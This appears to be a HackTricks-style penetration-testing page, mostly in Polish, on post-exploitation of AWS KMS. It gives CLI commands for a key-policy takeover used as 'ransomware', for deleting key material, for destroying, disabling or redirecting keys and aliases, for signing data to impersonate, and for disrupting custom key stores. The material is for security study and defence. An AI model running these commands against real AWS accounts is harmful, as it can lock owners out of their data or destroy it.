Files

7.9 KiB

AWS - KMS Post Exploitation

{{#include ../../../../banners/hacktricks-training.md}}

KMS

Więcej informacji:

{{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}}

Szyfrowanie/Deszyfrowanie informacji

fileb:// and file:// are URI schemes used in AWS CLI commands to specify the path to local files:

  • fileb://: Odczytuje plik w trybie binarnym, zwykle używany dla plików niebędących tekstowymi.
  • file://: Odczytuje plik w trybie tekstowym, zwykle używany dla plików tekstowych, skryptów lub JSON, które nie mają specjalnych wymogów kodowania.

Tip

Zwróć uwagę, że jeśli chcesz odszyfrować dane znajdujące się w pliku, plik musi zawierać dane binarne, a nie dane zakodowane w base64. (fileb://)

  • Użycie klucza symetrycznego
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Użycie asymetrycznego klucza:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Atakujący z uprzywilejowanym dostępem do KMS może zmodyfikować politykę KMS dla kluczy i przyznać swojemu kontu dostęp do nich, usuwając dostęp przyznany prawowitemu kontu.

Wtedy użytkownicy prawowitego konta nie będą mogli uzyskać dostępu do żadnych informacji żadnej usługi zaszyfrowanej tymi kluczami, tworząc proste, ale skuteczne ransomware na konto.

Warning

Zauważ, że AWS managed keys aren't affected przez ten atak, tylko Customer managed keys.

Zwróć też uwagę na konieczność użycia parametru --bypass-policy-lockout-safety-check (brak tej opcji w web console sprawia, że atak jest możliwy jedynie z CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Zwróć uwagę, że jeśli zmienisz tę politykę i udzielisz dostępu tylko kontu zewnętrznemu, a następnie z tego konta zewnętrznego spróbujesz ustawić nową politykę, aby give the access back to original account, you won't be able cause the Put Polocy action cannot be performed from a cross account.

Generic KMS Ransomware

Istnieje inny sposób na przeprowadzenie globalnego KMS Ransomware, który obejmowałby następujące kroki:

  • Utwórz nowy key with a key material zaimportowany przez atakującego
  • Re-encrypt older data ofiary zaszyfrowanych poprzednią wersją, używając nowej
  • Delete the KMS key
  • W tej sytuacji tylko atakujący, który posiada oryginalny key material, będzie w stanie odszyfrować zaszyfrowane dane

Delete Keys via kms:DeleteImportedKeyMaterial

With the kms:DeleteImportedKeyMaterial permission, an actor can delete the imported key material from CMKs with Origin=EXTERNAL (CMKs that have imported their key material), making them unable to decrypt data. This action is destructive and irreversible unless compatible material is re-imported, allowing an attacker to effectively cause ransomware-like data loss by rendering encrypted information permanently inaccessible.

aws kms delete-imported-key-material --key-id <Key_ID>

Niszczenie keys

Niszczenie keys umożliwia przeprowadzenie DoS.

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Zwróć uwagę, że AWS obecnie uniemożliwia wykonywanie powyższych działań z poziomu cross account:

Zmień lub usuń Alias

Ten atak usuwa lub przekierowuje AWS KMS aliases, zaburzając rozwiązywanie kluczy i powodując natychmiastowe awarie w usługach polegających na tych aliasach, skutkując denial-of-service. Mając uprawnienia takie jak kms:DeleteAlias lub kms:UpdateAlias, atakujący może usunąć lub przekierować aliasy i zakłócić operacje kryptograficzne (np. encrypt, describe). Każda usługa, która odwołuje się do aliasu zamiast do key ID, może przestać działać, dopóki alias nie zostanie przywrócony lub poprawnie ponownie zmapowany.

# Delete Alias
aws kms delete-alias --alias-name alias/<key_alias>

# Update Alias
aws kms update-alias \
--alias-name alias/<key_alias> \
--target-key-id <new_target_key>

Cancel Key Deletion

Z uprawnieniami takimi jak kms:CancelKeyDeletion i kms:EnableKey, atakujący może anulować zaplanowane usunięcie klucza głównego klienta AWS KMS i później ponownie go włączyć. W ten sposób odzyskuje się klucz (początkowo w stanie Disabled) i przywraca jego zdolność do odszyfrowywania wcześniej chronionych danych, umożliwiając eksfiltrację.

# Firts cancel de deletion
aws kms cancel-key-deletion \
--key-id <Key_ID>

## Second enable the key
aws kms enable-key \
--key-id <Key_ID>

Disable Key

Dzięki uprawnieniu kms:DisableKey atakujący może wyłączyć AWS KMS customer master key, uniemożliwiając jego użycie do encryption lub decryption. To przerywa dostęp dla wszystkich usług zależnych od tego CMK i może spowodować natychmiastowe zakłócenia lub denial-of-service, dopóki klucz nie zostanie ponownie włączony.

aws kms disable-key \
--key-id <key_id>

Wyprowadzenie współdzielonego sekretu

Z uprawnieniem kms:DeriveSharedSecret, podmiot może użyć KMS-held private key oraz user-supplied public key, aby obliczyć ECDH shared secret.

aws kms derive-shared-secret \
--key-id <key_id> \
--public-key fileb:///<route_to_public_key> \
--key-agreement-algorithm <algorithm>

Podszywanie się przez kms:Sign

Z uprawnieniem kms:Sign aktor może użyć KMS-stored CMK do kryptograficznego podpisania danych bez ujawniania klucza prywatnego, tworząc ważne podpisy, które mogą umożliwić podszywanie się lub autoryzować złośliwe działania.

aws kms sign \
--key-id <key-id> \
--message fileb://<ruta-al-archivo> \
--signing-algorithm <algoritmo> \
--message-type RAW

DoS with Custom Key Stores

Z uprawnieniami takimi jak kms:DeleteCustomKeyStore, kms:DisconnectCustomKeyStore czy kms:UpdateCustomKeyStore, actor może zmodyfikować, odłączyć lub usunąć AWS KMS Custom Key Store (CKS), powodując, że jego klucze główne stają się nieużywalne. To przerywa operacje szyfrowania, deszyfrowania i podpisywania dla usług korzystających z tych kluczy i może spowodować natychmiastowy denial-of-service. Ograniczanie i monitorowanie tych uprawnień jest więc krytyczne.

aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>

aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>

{{#include ../../../../banners/hacktricks-training.md}}